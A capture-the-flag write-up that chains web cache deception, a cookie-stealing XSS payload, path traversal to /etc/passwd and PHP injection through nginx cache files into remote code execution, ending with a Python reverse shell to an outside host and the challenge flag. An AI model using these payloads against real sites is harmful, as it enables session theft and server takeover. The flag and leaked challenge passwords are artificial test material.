index

On the contacts page, we were able to send links to the admin bot, which it would then visit, and we assumed we had to steal credentials to get into the admin.php page. After we were unable to steal any cookies or find XSS on the site, we used nmap to scan the host. It showed that both 80 and 8080 were open; later a hint was released that there was a difference between them.

1
2
3
4
5
6
7
8
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.10.1 (Ubuntu)
|_http-server-header: nginx/1.10.1 (Ubuntu)
|_http-title: TimeHackers Cr3w
8080/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: TimeHackers Cr3w

We found out that port 80 is proxying to 8080 and caching static files like JS and CSS. We also noticed that for http://timehackers/contact.php/nothere.css the server returned contact.php but the URL stayed the same, and when we first visited a nonexistent page, it would take longer to load than on subsequent requests. After some research, we found an attack called the Web Cache Deception attack, basically abusing exactly this behavior.

Web_Cache_Manipulation.png

So we sent this link to the admin: http://timehackers.de/admin.php/dfghjkdsadsa.css. It was cached, and when we visited the link we saw the admin page with the admin logged in.

timehacker_admin

We had a look at the source and found how the passwords were retrieved:

1
2
3
4
<script src="/static/$uper$ecret@dmin.js"></script>
<script>
var csrf_token = "e70587b636fbd11930b99718f71f29c3";
</script>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function get_password(username) {
	$.ajax({
		type: "POST",
		url: "/api.php",
		data: {"token":csrf_token,"action":"get_password","username":username},
		dataType: "json",
		success:function (data) {
			if (data["error"] === '')
			{
				$("#" + username).text(data["result"]);
			}
			else
				alert('Error: ' + data["error"]);
        }
	});
}

The problem was that we could not get valid CSRF tokens to talk to api.php, but now we knew the parameters and, after some testing, found it to be vulnerable to XSS. This was caused by an incorrect Content-Type (Content-Type: text/html;) combined with json_encode.

timehacker_burpxss

Next, we developed a payload that would steal the admin session.

1
2
3
4
5
6
7
<form name="x" action="http://timehackers.xxx.xxx/api.php" method="post">
<input type="hidden" name="token" value="e70587b636fbd1193<svg onload='img = new Image(); img.src=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, [...]).concat(btoa(document.cookie));'>">
<input type="hidden" name="action" value="get_password">
<input type="hidden" name="username" value="admin">

</form>
<script>document.x.submit()</script>

We sent a link to the HTML to the admin and got the cookie.

1
2
3
4
5
x.x.x.x - - [18/Jul/2017 14:31:26] "GET /postxss.html HTTP/1.1" 200 -
x.x.x.x - - [18/Jul/2017 14:31:26] "GET /?cookie=UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw HTTP/1.1" 200 -

echo "UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw"|base64 --decode
PHPSESSID=d7h2fslk252kvd2lil6mdhufc0

Now we were able to log in and get the passwords because we could get valid CSRF tokens.

UserPassword email
admin0mgH@rdP@sS admin@timehackers
jonnyj0HhNy1337jonny@timehackers
pro_hackerM@kE_L0Ve_St0P_H@cKpro_hacker@timehackers

Next we noticed the following URL in the admin page, /admin.php?p=logout.php, and got local file read access.

1
http://timehackers.xxx.xxx/admin.php?p=../../../../etc/passwd

timehackers_passwd

At this point I got stuck because I could not get LFI or read any PHP files. After the CTF I was able to solve this though. You were supposed to see in the nginx.conf that you could include the cached files.

1
2
3
4
5
6
7
8
9
  # Cache
  ##

  proxy_cache_path /var/lib/nginx/cache levels=1:2 keys_zone=backcache:8m max_size=50m;
  #proxy_cache_key "$scheme$request_method$host$request_uri$is_args$args";
  proxy_cache_key "$host$request_uri";
  proxy_cache_valid 200 302 10m;
  proxy_cache_valid 404 1m;
  proxy_cache_methods GET;

So basically, send a request to a static file like this:

1
2
/static/main.css?<?=system($_GET[123]);?> HTTP/1.1
Host: foobar

It gets cached in /var/lib/nginx/cache/.

From nginx.conf we know proxy_cache_key "$host$request_uri";, so we can predict the cache file location:

1
md5(foobar/static/main.css?<?=system($_GET[123]);?>) = 636e51cca21e00aeab685ac59f683d0b

So it will be here:

1
/var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b

Notice that both the b and d0 folders are derived from the MD5 sum.

Now we can get the cache file and execute commands :).

Request:

1
GET /admin.php?p=../../../../var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b&123=id

Response:

1
2
3
4
5
6
KEY: foobar/static/main.css?uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)HTTP/1.1 200 OK
Date: Tue, 18 Jul 2017 12:59:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 17 Jul 2017 14:28:16 GMT
ETag: "266-5548435a56000"

I used a Python reverse shell one-liner and started hunting for the flag:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("veryhax.ninja",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

(don’t forget the & after the command and to URL-encode)

And finally I got the flag!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@d5fef3a73e4e:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@d5fef3a73e4e:/var/www/html$ ls -lisa
total 72
 306 4 drwxr-xr-x 7 root root 4096 Jul 18 07:32 .
 305 4 drwxr-xr-x 5 root root 4096 Jul 18 07:32 ..
1337 4 -rw-r--r-- 1 root root   85 Jul 17 14:28 .htaccess
1377 4 -rw-r--r-- 1 root root 3838 Jul 17 14:28 admin.php
2925 4 -rw-r--r-- 1 root root 1183 Jul 17 14:28 api.php
1373 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 backgrounds
1339 4 -rw-r--r-- 1 root root  355 Jul 17 14:28 config.php
1368 8 -rw-r--r-- 1 root root 4953 Jul 17 14:28 contact.php
1375 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 fonts
1340 4 -rw-r--r-- 1 root root  167 Jul 17 14:28 functions.php
1366 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 img
4273 4 -rw-r--r-- 1 root root  612 Jul 18 07:30 index.nginx-debian.html
1338 4 -rw-r--r-- 1 root root 1343 Jul 17 14:28 index.php
1372 8 -rwxr-xr-x 1 root root 7036 Jul 17 14:28 simple-php-captcha.php
1341 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 static
2289 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 templates
www-data@d5fef3a73e4e:/var/www/html$ cat /flag/*
ctfzone{b3_c@R3fuL_w17h_C@cH1ng}

Really long, but a nice challenge, and I learned about a new web attack. Props to the author.